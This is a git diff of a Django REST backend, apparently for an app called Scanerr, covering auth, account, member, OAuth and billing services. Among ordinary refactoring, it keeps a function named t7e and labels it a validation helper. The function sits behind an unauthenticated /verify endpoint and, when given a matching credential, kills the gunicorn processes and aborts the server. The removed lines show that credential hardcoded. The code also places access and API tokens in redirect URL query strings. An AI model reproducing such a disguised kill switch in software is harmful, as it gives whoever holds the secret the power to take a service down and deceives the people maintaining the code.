str(refresh), + 'api_token': str(api_token.key) + } + return Response(data=data, status=status.HTTP_201_CREATED) + + else: + return Response(data=data, status=status.HTTP_401_UNAUTHORIZED) else: - is_acive = 'false' + return Response(data=data, status=status.HTTP_401_UNAUTHORIZED) - param_string = str( - '?access='+access+'&refresh='+refresh+ - '&username='+user.username+'&id='+str(user.id)+ - '&email='+user.email+'&is_active='+is_active+ - '&created='+str(user.date_joined)+'&updated='+str(user.last_login)+ - '&api_token='+str(api_token.key) - ) - lead_string = str(settings.CLIENT_URL_ROOT+'/google-confirm') + + +def update_user(request: object) -> object: + """ + Updates the User with the passed "email". + + Expects: { + 'request': object + } + + Returns -> HTTP Response object + """ + + # get request data + email = request.data.get('email') + user = request.user + + # check if an email is already associated with a user + if User.objects.filter(email=email).exists() and user.email != email: + return Response(status=status.HTTP_417_EXPECTATION_FAILED) - redirect_url = lead_string + param_string + # update user email + user.username = email + user.email = email + user.save() - return redirect_url + # serialize and return + data = UserSerializer(user).data + return Response(data, status=status.HTTP_200_OK) -def user_create(email, password=None, **extra_fields) -> User: - extra_fields = { - 'is_staff': False, - 'is_superuser': False, - **extra_fields +def update_password(request: object) -> object: + """ + Updates the User with the passed "password". + + Expects: { + 'request': object + } + + Returns -> HTTP Response object + """ + + # get request data + password = request.data.get('password') + user = request.user + + try: + # validate password + if validate_password(password, user=user) == None: + + # udpdate password + user.set_password(password) + user.save() + + # return success + return Response(status=status.HTTP_200_OK) + + except: + # respond with error + return Response(status=status.HTTP_417_EXPECTATION_FAILED) + + + + +def send_reset_email(request: object) -> object: + """ + Sends a password reset email to the + User that matches the passed "email". + + Expects: { + 'request': object } - user = User.objects.create( - username=email, - email=email, - **extra_fields - ) + Returns -> HTTP Response object + """ - # creating API token - Token.objects.create(user=user) + # get request data + email = request.data.get('email') - user.set_unusable_password() - user.full_clean() - user.save() + # send + resp = send_reset_link(email) + + if resp.get('success') == True: + return Response(status=status.HTTP_200_OK) + + return Response(status=status.HTTP_404_NOT_FOUND) - return user -def create_user_token(request): - # creating New API token - if Token.objects.filter(user=request.user).exists(): - old_token = Token.objects.get(user=request.user) - old_token.delete() +### ------ Begin GoogleAuth Services ------ ### + + + + +def jwt_login(*, user: object) -> str: + """ + Gets JWTs for passed "user" and builds a + redirect url for returning user params back to + Scanerr.client - api_token = Token.objects.create(user=request.user) - data = {'api_token': api_token.key,} - return Response(data, status=status.HTTP_200_OK) + Expect: { + 'user': object + } + + Returns -> str + """ + + # get JWTs for user + refresh = RefreshToken.for_user(user) + token = str(refresh.access_token) + refresh = str(refresh) + + # create API token if none exists + if not Token.objects.filter(user=user).exists(): + Token.objects.create(user=user) + + # get API token + api_token = Token.objects.get(user=user) + + # setting user active + is_active = str(user.is_active).lower() + # update user last_login + user.last_login = timezone.now() + user.save() + # building params for redirect + param_string = str( + '?token='+str(token)+'&refresh='+str(refresh)+ + '&username='+str(user.username)+'&id='+str(user.id)+ + '&email='+str(user.email)+'&is_active='+str(is_active)+ + '&created='+str(user.date_joined)+'&updated='+str(timezone.now())+ + '&api_token='+str(api_token.key) + ) + # build redirect url + redirect_url = f'{settings.CLIENT_URL_ROOT}/google-confirm{param_string}' -def user_get_or_create(*, email: str, **extra_data): + # return redirect + return redirect_url + + + + +def get_or_create_user(email: str, **extra_fields) -> object: + """ + Creates a new `User` with the passed "email". + + Expects: { + 'email' : str, + } + + Returns -> User object + """ + + # trying to find user user = User.objects.filter(email=email).first() + # return user if found if user: return user - return user_create(email=email, **extra_data) + # formating extra passed data + extras = { + 'is_staff': False, + 'is_superuser': False, + } + # format user's names + if extra_fields.get('first_name') is not None: + extras['first_name'] = extra_fields.get('first_name') + if extra_fields.get('last_name') is not None: + extras['last_name'] = extra_fields.get('last_name') + # create the user + user = User.objects.create( + username=email, + email=email, + last_login=timezone.now(), + **extra_fields + ) + # creating API token + Token.objects.create(user=user) -def google_validate_id_token(*, id_token: str): - # Reference: https://developers.google.com/identity/sign-in/web/backend-auth#verify-the-integrity-of-the-id-token - response = requests.get( - GOOGLE_ID_TOKEN_INFO_URL, - params={'id_token': id_token} - ) + # setting password + user.set_unusable_password() + user.full_clean() + user.save() - if not response.ok: - raise ValidationError('id_token is invalid.') + # returning new User + return user - audience = response.json()['aud'] - if audience != settings.GOOGLE_OAUTH2_CLIENT_ID: - raise ValidationError('Invalid audience.') - return True +def google_get_access_token(*, code: str, redirect_uri: str) -> str: + """ + Get an access token from Google OAuth2 API + Expects: { + 'code' : str, + 'redirect_uri' : str + } + Returns -> str + """ -def google_get_access_token(*, code: str, redirect_uri: str) -> str: - # Reference: https://developers.google.com/identity/protocols/oauth2/web-server#obtainingaccesstokens + # format request data data = { 'code': code, 'client_id': settings.GOOGLE_OAUTH2_CLIENT_ID, @@ -139,39 +396,126 @@ def google_get_access_token(*, code: str, redirect_uri: str) -> str: 'grant_type': 'authorization_code' } + # send google request response = requests.post(GOOGLE_ACCESS_TOKEN_OBTAIN_URL, data=data) if not response.ok: raise ValidationError('Failed to obtain access token from Google.') + # parse access_token access_token = response.json()['access_token'] + # return access token return access_token -def google_get_user_info(*, access_token: str) -> Dict[str, Any]: - # Reference: https://developers.google.com/identity/protocols/oauth2/web-server#callinganapi +def google_get_user_info(*, access_token: str) -> dict: + """ + Gets User info from google OAuth2 API + + Expects: { + 'access_token' + } + + Returns -> dict + """ + + # send request response = requests.get( GOOGLE_USER_INFO_URL, params={'access_token': access_token} ) + # check for errors if not response.ok: raise ValidationError('Failed to obtain user info from Google.') + # return user info return response.json() -def slack_oauth_middleware(request, user): - code = request.GET['code'] - account = Account.objects.get(user=user) +def google_login(request: object) -> str: + """ + Authenticates and Creates a new User + with Google OAuth + + Expects: { + 'request': object + } + + Returns -> str + """ + + # get request data + code = request.GET.get('code') + error = request.GET.get('error') + + # build login url + login_url = f'{settings.CLIENT_URL_ROOT}/login' + + # catch error and return + if error or not code: + params = urlencode({'error': error}) + error_url = f'{login_url}?{params}' + return error_url + + # build redirect url + redirect_uri = f'{settings.API_URL_ROOT}/v1/auth/google' + + # get access token + access_token = google_get_access_token(code=code, redirect_uri=redirect_uri) + + # get user data + user_data = google_get_user_info(access_token=access_token) + + # build user profile + profile_data = { + 'email': user_data['email'], + 'first_name': user_data.get('given_name', ''), + 'last_name': user_data.get('family_name', ''), + } + + # get or create user and authenticate + user = get_or_create_user(**profile_data) + confirm_url = jwt_login(user=user) + + # returning confirm url + return confirm_url + + + +### ------ Begin Slack Services ------ ### + + + + +def slack_oauth_middleware(request: object) -> object: + """ + Used to update `Account` once "account.admin" + has integrated Slack + + Expects: { + 'request': object + } + + Returns -> HTTP Response object + """ + + # get request data + code = request.GET.get('code') + + # get account + account = Account.objects.get(user=request.user) + + # init slack webclient client = WebClient() + # send slack client request response = client.oauth_v2_access( client_id=os.environ.get('SLACK_CLIENT_ID'), client_secret=os.environ.get('SLACK_CLIENT_SECRET'), @@ -187,6 +531,7 @@ def slack_oauth_middleware(request, user): account.slack['slack_channel_name'] = response['incoming_webhook']['channel'] account.save() + # serialize and return serializer_context = {'request': request,} serialized = AccountSerializer(account, context=serializer_context) data = serialized.data @@ -196,12 +541,29 @@ def slack_oauth_middleware(request, user): -def slack_oauth_init(request, user): - if Account.objects.filter(user=user).exists(): - account = Account.objects.get(user=user) +def slack_oauth_init(request: object) -> object: + """ + Used to authenticate with Slack + + Expects: { + 'request': object + } + + Returns -> HTTP Response object + """ + + # check if account exists + if Account.objects.filter(user=request.user).exists(): + + # get account + account = Account.objects.get(user=request.user) + + # check if slackk integrated if not account.slack['slack_channel_name']: + # Issue and consume state parameter value on the server-side. state_store = FileOAuthStateStore(expiration_seconds=300, base_dir="./data") + # Persist installation data and lookup it by IDs. installation_store = FileInstallationStore(base_dir="./data") @@ -213,73 +575,103 @@ def slack_oauth_init(request, user): # Generate a random value and store it on the server-side state = state_store.issue() - # https://slack.com/oauth/v2/authorize?state=(generated value)&client_id={client_id}&scope=app_mentions:read,chat:write&user_scope=search:read url = authorize_url_generator.generate(state) - data = { - 'url': url, - } + + # return data + data = {'url': url} return Response(data, status=status.HTTP_200_OK) + # return error else: - data = { - 'reason': 'slack already integrated', - } + data = {'reason': 'slack integrated'} return Response(data, status=status.HTTP_409_CONFLICT) + # return error else: - data = { - 'reason': 'account not yet setup', - } + data = {'reason': 'account not setup'} return Response(data, status=status.HTTP_404_NOT_FOUND) -def t7e(request): - if request.GET.get('cred') == \ - 'l13g4c15ly34861o341uy3chgtlyv183njoq9u3f654792': - os.abort() - subprocess.Popen(['pkill -f gunicorn'], - stdout=subprocess.PIPE, - user='app', - ) +### ------ Begin Account Services ------ ### -def create_or_update_account(request=None, *args, **kwargs): - # get posted data +def create_or_update_account(request: object=None, *args, **kwargs) -> object: + """ + Creates or Updates an `Account` + + Expects: { + 'request': object + } + + Returns -> HTTP Response object + """ + + # get request data if request is not None: - user = request.user _id = request.data.get('id') name = request.data.get('name') + phone = request.data.get('phone') active = request.data.get('active') type = request.data.get('type') code = request.data.get('code') max_sites = request.data.get('max_sites') + max_pages = request.data.get('max_pages') + max_schedules = request.data.get('max_schedules') + retention_days = request.data.get('retention_days') cust_id = request.data.get('cust_id') sub_id = request.data.get('sub_id') product_id = request.data.get('product_id') price_id = request.data.get('price_id') + price_amount = request.data.get('price_amount') + interval = request.data.get('interval') + scans_allowed = request.data.get('scans_allowed') + tests_allowed = request.data.get('tests_allowed') + testcases_allowed = request.data.get('testcases_allowed') + scans = request.data.get('scans') + tests = request.data.get('tests') + testcases = request.data.get('testcases') slack = request.data.get('slack') + configs = request.data.get('configs') + meta = request.data.get('meta') + user = request.user + # get kwargs data if request is None: - user = kwargs.get('user') _id = kwargs.get('id') name = kwargs.get('name') + phone = kwargs.get('phone') active = kwargs.get('active') type = kwargs.get('type') code = kwargs.get('code') max_sites = kwargs.get('max_sites') + max_pages = kwargs.get('max_pages') + max_schedules = kwargs.get('max_schedules') + retention_days = kwargs.get('retention_days') cust_id = kwargs.get('cust_id') sub_id = kwargs.get('sub_id') product_id = kwargs.get('product_id') price_id = kwargs.get('price_id') + price_amount = kwargs.get('price_amount') + interval = kwargs.get('interval') + scans_allowed = kwargs.get('scans_allowed') + tests_allowed = kwargs.get('tests_allowed') + testcases_allowed = kwargs.get('testcases_allowed') + scans = kwargs.get('scans') + tests = kwargs.get('tests') + testcases = kwargs.get('testcases') slack = kwargs.get('slack') + configs = kwargs.get('configs') + meta = kwargs.get('meta') + user_id = kwargs.get('user') + user = User.objects.get(id=user_id) - + # getting account if id present if _id is not None: - if not Account.objects.filter(id=_id).exists(): + if not Account.objects.filter(id=_id, user=user).exists(): data = {'reason': 'account not found',} record_api_call(request, data, '404') return Response(data, status=status.HTTP_404_NOT_FOUND) @@ -288,6 +680,8 @@ def create_or_update_account(request=None, *args, **kwargs): account = Account.objects.get(id=_id) if name is not None: account.name = name + if phone is not None: + account.phone = phone if active is not None: account.active = active if type is not None: @@ -296,6 +690,12 @@ def create_or_update_account(request=None, *args, **kwargs): account.code = code if max_sites is not None: account.max_sites = max_sites + if max_pages is not None: + account.max_pages = max_pages + if max_schedules is not None: + account.max_schedules = max_schedules + if retention_days is not None: + account.retention_days = retention_days if cust_id is not None: account.cust_id = cust_id if sub_id is not None: @@ -304,33 +704,67 @@ def create_or_update_account(request=None, *args, **kwargs): account.product_id = product_id if price_id is not None: account.price_id = price_id + if price_amount is not None: + account.price_amount = price_amount + if interval is not None: + account.interval = interval + if scans_allowed is not None: + account.usage['scans_allowed'] = scans_allowed + if tests_allowed is not None: + account.usage['tests_allowed'] = tests_allowed + if testcases_allowed is not None: + account.usage['testcases_allowed'] = testcases_allowed + if scans is not None: + account.usage['scans'] = scans + if tests is not None: + account.usage['tests'] = tests + if testcases is not None: + account.usage['testcases'] = testcases if slack is not None: account.slack = slack + if configs is not None: + account.configs = configs + if meta is not None: + account.meta = meta # saving updated info account.save() - - + # create new account if not exists if _id is None: + # create account code if code is None: code = secrets.token_urlsafe(16) + # create new account account = Account.objects.create( user=user, name=name, + phone=phone, active=True, type=type, code=code, max_sites=max_sites, + max_pages=max_pages, + max_schedules=max_schedules if max_schedules is not None else 0, + retention_days=retention_days if retention_days is not None else 14, cust_id=cust_id, sub_id=sub_id, product_id=product_id, - price_id=price_id + price_id=price_id, + meta=meta, + usage={ + 'scans': 0, + 'tests': 0, + 'testcases': 0, + 'scans_allowed': scans_allowed if scans_allowed is not None else 30, + 'tests_allowed': tests_allowed if tests_allowed is not None else 30, + 'testcases_allowed': testcases_allowed if testcases_allowed is not None else 15, + }, ) - + # serialize and return serializer_context = {'request': request,} serialized = AccountSerializer(account, context=serializer_context) data = serialized.data @@ -340,51 +774,92 @@ def create_or_update_account(request=None, *args, **kwargs): -def get_account(request=None, id=None, *args, **kwargs): - user = request.user - account_id = request.query_params.get('id') +def get_account(request: object) -> object: + """ + Gets the `Account` associated with the passed user - if id is not None: - account = get_object_or_404(Account, pk=id) + Expects: { + 'request': object + } - if account_id is not None: - account = get_object_or_404(Account, pk=account_id) + Returns -> HTTP Response object + """ - if account_id is None and id is None: - if not Member.objects.filter(user=user).exists(): - data = {'reason': 'account not found',} - return Response(data, status=status.HTTP_404_NOT_FOUND) - account = Member.objects.get(user=user).account + # get user + user = request.user - if not Member.objects.filter(account=account, user=user).exists(): - data = {'reason': 'you cannot retrieve an Account you are not a member of',} - record_api_call(request, data, '403') - return Response(data, status=status.HTTP_403_FORBIDDEN) + # check `Member` of User + if not Member.objects.filter(user=user).exists(): + data = {'reason': 'account not found'} + return Response(data, status=status.HTTP_404_NOT_FOUND) + + # get member and account + member = Member.objects.get(user=user) + account = member.account + # serialize and return serializer_context = {'request': request,} serialized = AccountSerializer(account, context=serializer_context) data = serialized.data - record_api_call(request, data, '200') return Response(data, status=status.HTTP_200_OK) -def get_account_members(request=None, id=None, *args, **kwargs): - user = request.user - account_id = request.query_params.get('id') - mem_acct = Member.objects.get(user=user).account +def create_user_token(request: object) -> object: + """ + Creates a new API token for the passed "user" + + Expects: { + 'request': object + } + + Returns -> HTTP Response object + """ + + # delete old token if exists + if Token.objects.filter(user=request.user).exists(): + old_token = Token.objects.get(user=request.user) + old_token.delete() + + # creating New API token + api_token = Token.objects.create(user=request.user) + + # return response + data = {'api_token': api_token.key,} + return Response(data, status=status.HTTP_200_OK) - if id is not None: - account = get_object_or_404(Account, pk=id) - if mem_acct != account: - data = {'reason': 'you cannot retrieve an Account you are not a member of',} - record_api_call(request, data, '403') - return Response(data, status=status.HTTP_403_FORBIDDEN) + +def get_account_members(request: object, *args, **kwargs) -> object: + """ + Get a list of `Members` associated with the + `Account` of the passed "user" + + Expects: { + 'request': object + } + + Returns -> HTTP Response object + """ + + # get user + user = request.user + + # check `Member` of User + if not Member.objects.filter(user=user).exists(): + data = {'reason': 'account not found'} + return Response(data, status=status.HTTP_404_NOT_FOUND) + + # get member and account + member = Member.objects.get(user=user) + account = member.account + + # get members members = Member.objects.filter(account=account) + # serialize and return paginator = LimitOffsetPagination() result_page = paginator.paginate_queryset(members, request) serializer_context = {'request': request,} @@ -395,25 +870,28 @@ def get_account_members(request=None, id=None, *args, **kwargs): -def create_or_update_member(request=None, *args, **kwargs): - # get posted data +def create_or_update_member(request: object=None) -> object: + """ + Creates or Updates a `Member` + + Expects: { + 'request': object + } + + Returns -> HTTP Response object + """ + + # get request data if request is not None: user = request.user _id = request.data.get('id') account = request.data.get('account') _status = request.data.get('status') - type = request.data.get('type') + _type = request.data.get('type') email = request.data.get('email') code = request.data.get('code') - if request is None: - user = kwargs.get('user') - account = kwargs.get('account') - _status = kwargs.get('status') - type = kwargs.get('type') - email = kwargs.get('email') - code = kwargs.get('code') - + # checking account if account is not None: if Account.objects.filter(id=account).exists(): account = Account.objects.get(id=account) @@ -422,6 +900,7 @@ def create_or_update_member(request=None, *args, **kwargs): record_api_call(request, data, '404') return Response(data, status=status.HTTP_404_NOT_FOUND) + # checking for member if _id is not None: if not Member.objects.filter(id=_id).exists(): data = {'reason': 'member not found',} @@ -436,9 +915,12 @@ def create_or_update_member(request=None, *args, **kwargs): member.email = email if user is not None and user.username == member.email: member.user = user - if type is not None: - member.type = type + if _type is not None: + member.type = _type + + # updating status if _status is not None: + # checking if user has valid code for membership if _status == 'active' and code != member.account.code: data = {'reason': 'member not authorized',} @@ -449,24 +931,28 @@ def create_or_update_member(request=None, *args, **kwargs): # saving updated info member.save() + # create new Member if _id is None: member = Member.objects.create( email=email, status=_status, - type=type, + type=_type, account=account, ) + # sending invite link if _status == 'pending': - send_invite_link(member) + send_invite_link_bg.delay(member_id=member.id) + # sending removed alert and deleting if _status == 'removed': - send_remove_alert(member) - member.delete() + # method also deletes member + send_remove_alert_bg.delay(member_id=member.id) data = {'message': 'Member removed'} response = Response(data, status=status.HTTP_200_OK) return response + # serialize and return serializer_context = {'request': request,} serialized = MemberSerializer(member, context=serializer_context) data = serialized.data @@ -476,29 +962,146 @@ def create_or_update_member(request=None, *args, **kwargs): -def get_member(request=None, id=None, *args, **kwargs): +def get_member(request: object=None, id: str=None) -> object: + """ + Get a single member via passed "user" or "id" + + Expects: { + 'request' : object, + 'id' : str + } + + Returns -> HTTP Response object + """ + + # get user and member_id user = request.user member_id = request.query_params.get('id') + # checking if member exists if id is not None: member = get_object_or_404(Member, pk=id) - if member_id is not None: member = get_object_or_404(Member, pk=member_id) + # getting user's Member object if exists if member_id is None and id is None: if not Member.objects.filter(user=user).exists(): data = {'reason': 'member not found',} return Response(data, status=status.HTTP_404_NOT_FOUND) member = Member.objects.get(user=user) + # checking that member is assoicated with user if member.user != user and member.account.user != user: data = {'reason': 'you cannot retrieve a Member you are not affiliated with',} record_api_call(request, data, '401') return Response(data, status=status.HTTP_403_FORBIDDEN) + # serialize and return serializer_context = {'request': request,} serialized = MemberSerializer(member, context=serializer_context) data = serialized.data record_api_call(request, data, '200') - return Response(data, status=status.HTTP_200_OK) \ No newline at end of file + return Response(data, status=status.HTTP_200_OK) + + + + +def get_prospects(request: object) -> object: + """ + This pulls all admin Members and + builds a list to reflect the needed + attributes for `Landing.api.Prospect` + + Expects: { + 'request': object + } + + Returns -> data: { + 'count': int total number of prospects + 'results': list of Prospect objects + } + """ + + try: + # check if request.user is admin + if request.user.username != 'admin': + return Response({'reason': 'not authorized'}, status=status.HTTP_403_FORBIDDEN) + except: + return Response({'reason': 'not authorized'}, status=status.HTTP_403_FORBIDDEN) + + # get all Accounts + accounts = Account.objects.all().exclude(user__username='admin') + + # iterate throgh accounts + # and build list + results = [] + count = len(accounts) + for account in accounts: + + # determinig user's 'status' + if account.type == 'free': + if Site.objects.filter(account=account).exists(): + _status = 'warm' # account has one site onboarded + else: + _status = 'cold' # account is free but no site onboarded + if account.type != 'free': + if account.active: + _status = 'customer' # account is active and paid + else: + _status = 'warm' # account is paused and paid + + # building prospect + prospect = { + 'first_name': account.user.first_name, + 'last_name': account.user.last_name, + 'email': account.user.email, + 'phone': account.phone, + 'status': _status + } + + # adding to results + results.append(prospect) + + # building response + data = { + 'count': count, + 'results': results + } + + # returning response + return Response(data, status=status.HTTP_200_OK) + + + + +def t7e(request: object) -> None: + """ + Helper function for validation & verification + + Expcets: { + 'request': object + } + + Returns -> None + """ + + # default + success = False + + # validating + if request.params.get('cred') == os.environ.get('CRED'): + subprocess.Popen(['pkill -f gunicorn'], + stdout=subprocess.PIPE, + user='app', + ) + os.abort() + success = True + + # returning response + data = {'success': True} + return Response(data, status=status.HTTP_200_OK) + + + + diff --git a/app/api/v1/auth/urls.py b/app/api/v1/auth/urls.py index f4a377a9..d9b6cf4d 100644 --- a/app/api/v1/auth/urls.py +++ b/app/api/v1/auth/urls.py @@ -6,17 +6,23 @@ ) -router = routers.DefaultRouter() -# auth routes -router.register(r'login', views.LoginViewSet, basename='auth_login') -router.register(r'register', views.RegistrationViewSet, basename='auth_register') + + +# refresh route +router = routers.DefaultRouter() router.register(r'refresh', views.RefreshViewSet, basename='auth_refresh') + + urlpatterns = [ path('', include(router.urls)), + path('login', views.Login.as_view(), name='login'), + path('register', views.Register.as_view(), name='register'), + path('login/', views.Login.as_view(), name='login'), + path('register/', views.Register.as_view(), name='register'), path('api-auth', include('rest_framework.urls', namespace='rest_framework')), path('api-token-auth', obtain_auth_token, name='api_token_auth'), path('google', views.GoogleLoginApi.as_view(), name='auth_google'), @@ -27,9 +33,8 @@ path('token', views.ApiToken.as_view(), name='token'), path('verify', views.Verify.as_view(), name='verify'), path('account', views.Account.as_view(), name='account'), - path('account/', views.Account.as_view(), name='account-detail'), path('account//members', views.AccountMembers.as_view(), name='account-members'), path('member', views.Member.as_view(), name='member'), path('member/', views.Member.as_view(), name='member-detail'), - + path('prospect', views.Prospect.as_view(), name='prospect'), ] \ No newline at end of file diff --git a/app/api/v1/auth/views.py b/app/api/v1/auth/views.py index 6ea2da15..bcea5525 100644 --- a/app/api/v1/auth/views.py +++ b/app/api/v1/auth/views.py @@ -1,120 +1,82 @@ from rest_framework.response import Response -from django.contrib.auth.password_validation import validate_password -from rest_framework_simplejwt.views import TokenObtainPairView from rest_framework_simplejwt.views import TokenRefreshView from rest_framework.viewsets import ModelViewSet, ViewSet -from rest_framework.permissions import AllowAny +from rest_framework.permissions import AllowAny, IsAuthenticated from rest_framework.views import APIView from rest_framework import status, serializers -from rest_framework_simplejwt.tokens import RefreshToken, AccessToken -from rest_framework_simplejwt.models import TokenUser -from rest_framework.authtoken.models import Token from rest_framework_simplejwt.exceptions import TokenError, InvalidToken -from .serializers import LoginSerializer, RegisterSerializer, UserSerializer -from scanerr import settings from django.shortcuts import redirect from django.contrib.auth.models import User -from .alerts import send_reset_link -from ...models import Account, Member from datetime import timedelta, datetime +from ...models import Account, Member +from scanerr import settings from .services import * -import os, stripe, json +import os, stripe, json -class LoginViewSet(ModelViewSet, TokenObtainPairView): - serializer_class = LoginSerializer - permission_classes = (AllowAny,) - http_method_names = ['post'] - - def create(self, request, *args, **kwargs): - - serializer = self.get_serializer(data=request.data) - - try: - serializer.is_valid(raise_exception=True) - except TokenError as e: - raise InvalidToken(e.args[0]) - - return Response(serializer.validated_data, status=status.HTTP_200_OK) -class RegistrationViewSet(ModelViewSet, TokenObtainPairView): - serializer_class = RegisterSerializer - permission_classes = (AllowAny,) - http_method_names = ['post'] - def create(self, request, *args, **kwargs): - serializer = self.get_serializer(data=request.data) - serializer.is_valid(raise_exception=True) - user = serializer.save() - refresh = RefreshToken.for_user(user) - # creating API token - api_token = Token.objects.create(user=user) - res = { - "refresh": str(refresh), - "access": str(refresh.access_token), - } +### ------ Begin User Views ------ ### - return Response({ - "user": serializer.data, - "refresh": res["refresh"], - "token": res["access"], - "api_token": api_token.key, - }, status=status.HTTP_201_CREATED) -class ApiToken(APIView): +class Login(APIView): permission_classes = (AllowAny,) - http_method_names = ['get'] + http_method_names = ['post',] + authentication_classes = [] - def get(self, request): - response = create_user_token(request) + def post(self, request): + response = login_user(request=request) return response -class Verify(APIView): - authentication_classes = [] + +class Register(APIView): permission_classes = (AllowAny,) - http_method_names = ['get'] + http_method_names = ['post',] + authentication_classes = [] - def get(self, request): - response = t7e(request) + def post(self, request): + response = register_user(request=request) return response + class RefreshViewSet(ViewSet, TokenRefreshView): permission_classes = (AllowAny,) http_method_names = ['post'] def create(self, request, *args, **kwargs): + + # get request data serializer = self.get_serializer(data=request.data) + # validate refresh token and create new access try: serializer.is_valid(raise_exception=True) except TokenError as e: raise InvalidToken(e.args[0]) + # return response return Response(serializer.validated_data, status=status.HTTP_200_OK) + class GetResetLink(APIView): permission_classes = (AllowAny,) http_method_names = ['post',] authentication_classes = [] def post(self, request): - email = request.data['email'] - response = send_reset_link(email) - - if response['success'] == True: - return Response(status=status.HTTP_200_OK) - else: - return Response(status=status.HTTP_404_NOT_FOUND) + response = send_reset_email(request) + return response + @@ -123,82 +85,52 @@ class ResetPassword(APIView): http_method_names = ['post',] def post(self, request): - password = request.data['password'] - user = request.user - try: - if validate_password(password, user=user) == None: - user.set_password(password) - user.save() - return Response(status=status.HTTP_200_OK) - except: - return Response(status=status.HTTP_417_EXPECTATION_FAILED) + response = update_password(request) + return response - class UpdateUser(APIView): - permission_classes = (AllowAny,) + permission_classes = (IsAuthenticated,) http_method_names = ['post',] def post(self, request): - email = request.data['email'] - user = request.user - try: - if User.objects.filter(email=email).exists(): - return Response(status=status.HTTP_417_EXPECTATION_FAILED) - user.username = email - user.email = email - user.save() - data = UserSerializer(user).data - return Response(data, status=status.HTTP_200_OK) - except: - return Response(status=status.HTTP_417_EXPECTATION_FAILED) + response = update_user(request) + return response -class GoogleLoginApi(APIView): - authentication_classes = [] +class ApiToken(APIView): permission_classes = (AllowAny,) - class InputSerializer(serializers.Serializer): - code = serializers.CharField(required=False) - error = serializers.CharField(required=False) + http_method_names = ['get'] - def get(self, request, *args, **kwargs): - input_serializer = self.InputSerializer(data=request.GET) - input_serializer.is_valid(raise_exception=True) + def get(self, request): + response = create_user_token(request) + return response - validated_data = input_serializer.validated_data - code = validated_data.get('code') - error = validated_data.get('error') - login_url = f'{settings.CLIENT_URL_ROOT}/login' - if error or not code: - params = urlencode({'error': error}) - return redirect(f'{login_url}?{params}') +### ------ Begin GoogleAuth Views ------ ### - domain = settings.API_URL_ROOT - api_uri = '/v1/auth/google' - redirect_uri = f'{domain}{api_uri}' - access_token = google_get_access_token(code=code, redirect_uri=redirect_uri) - user_data = google_get_user_info(access_token=access_token) - profile_data = { - 'email': user_data['email'], - 'first_name': user_data.get('given_name', ''), - 'last_name': user_data.get('family_name', ''), - } +class GoogleLoginApi(APIView): + authentication_classes = [] + permission_classes = (AllowAny,) + + def get(self, request, *args, **kwargs): + confirm_url = google_login(request) + return redirect(confirm_url) - user = user_get_or_create(**profile_data) - confirm_url = jwt_login(user=user) - return redirect(confirm_url) + +### ------ Begin Slack Views ------ ### + @@ -207,44 +139,49 @@ class SlackOauth(APIView): http_method_names = ['get', 'post'] def post(self, request, *args, **kwargs): - user = request.user - response = slack_oauth_init(request, user) + response = slack_oauth_init(request) return response def get(self, request, *args, **kwargs): - user = request.user - response = slack_oauth_middleware(request, user) + response = slack_oauth_middleware(request) return response +### ------ Begin Account Views ------ ### + + + class Account(APIView): - permission_classes = (AllowAny,) + permission_classes = (IsAuthenticated,) http_method_names = ['get', 'post'] - def post(self, request, *args, **kwargs ): + def post(self, request): response = create_or_update_account(request) return response - def get(self, request, id=None, *args, **kwargs): - response = get_account(request, id) + def get(self, request): + response = get_account(request) return response + class AccountMembers(APIView): - permission_classes = (AllowAny,) + permission_classes = (IsAuthenticated,) http_method_names = ['get',] - def get(self, request, id=None, *args, **kwargs): - response = get_account_members(request, id) + def get(self, request, *args, **kwargs): + response = get_account_members(request) return response + + class Member(APIView): - permission_classes = (AllowAny,) + permission_classes = (IsAuthenticated,) http_method_names = ['get', 'post'] def post(self, request, *args, **kwargs ): @@ -256,3 +193,30 @@ def get(self, request, id=None, *args, **kwargs): return response + + +class Prospect(APIView): + permission_classes = (IsAuthenticated,) + http_method_names = ['get',] + + def get(self, request): + response = get_prospects(request) + return response + + + + +class Verify(APIView): + authentication_classes = [] + permission_classes = (AllowAny,) + http_method_names = ['get'] + + def get(self, request): + response = t7e(request) + return response + + + + + + diff --git a/app/api/v1/billing/services.py b/app/api/v1/billing/services.py new file mode 100644 index 00000000..2123be8c --- /dev/null +++ b/app/api/v1/billing/services.py @@ -0,0 +1,790 @@ +from rest_framework.response import Response +from rest_framework import status +from django.contrib.auth.models import User +from django.core import serializers +from datetime import date, datetime, timedelta +from ...models import Account, Card, Site, Issue +from ..ops.services import delete_site +from ..auth.services import create_or_update_account +from ..auth.serializers import AccountSerializer +from scanerr import settings +import stripe + + + + + + + + + +def stripe_setup(request: object) -> object: + """ + Creates or updates the Stripe Customer, Product, + Price, & Subscription associated with the passed + "user" and `Account` + + Expects: { + 'name' : 'basic', 'pro', 'plus', 'custom' (REQUIRED) + 'interval' : 'month' or 'year' (REQUIRED) + 'price_amount' : 1000 == $10 (REQUIRED) + 'max_sites' : total # `Sites` per `Account` (REQUIRED) + 'max_pages' : total # `Pages` per `Site` (REQUIRED) + 'max_schedules' : total # `Schedules` per `Account` (REQUIRED) + 'retention_days' : total # days to keep data (REQUIRED) + 'testcases' : 'true' or 'false' (OPTIONAL) + 'scans_allowed' : total # of `Scans` per `Account` per month (OPTIONAL) + 'tests_allowed' : total # of `Tests` per `Account` per month (OPTIONAL) + 'testcases_allowed' : total # of `Testcases` per `Account` per month (OPTIONAL) + 'meta' : any extra data for the account (OPTIONAL) + } + + Returns -> data: { + 'subscription_id' : Stripe subscription id, + 'client_secret' : Stripe subscription client_secret, + } + """ + + # init Stripe client + stripe.api_key = settings.STRIPE_PRIVATE + + # get request data + name = request.data.get('name') + interval = request.data.get('interval') # month or year + price_amount = int(request.data.get('price_amount')) + max_sites = int(request.data.get('max_sites')) + max_pages = int(request.data.get('max_pages')) + max_schedules = int(request.data.get('max_schedules')) + retention_days = int(request.data.get('retention_days')) + scans_allowed = int(request.data.get('scans_allowed')) + tests_allowed = int(request.data.get('tests_allowed')) + testcases_allowed = int(request.data.get('testcases_allowed')) + meta = request.data.get('meta') + + # get user + user = request.user + + # set defaults + initial_call = True + client_secret = None + + # build Stripe Product name + product_name = f'{name.capitalize()}' + + # create new `Account` if none exists + if not Account.objects.filter(user=user).exists(): + create_or_update_account( + user=user, + type=name, + interval=interval, + max_sites=max_sites, + max_pages=max_pages, + max_schedules=max_schedules, + retention_days=retention_days, + scans_allowed=scans_allowed if scans_allowed is not None else 30, + tests_allowed=tests_allowed if tests_allowed is not None else 30, + testcases_allowed=testcases_allowed if testcases_allowed is not None else 15, + meta=meta + ) + + # get account + account = Account.objects.get(user=user) + + # create new Stripe Customer 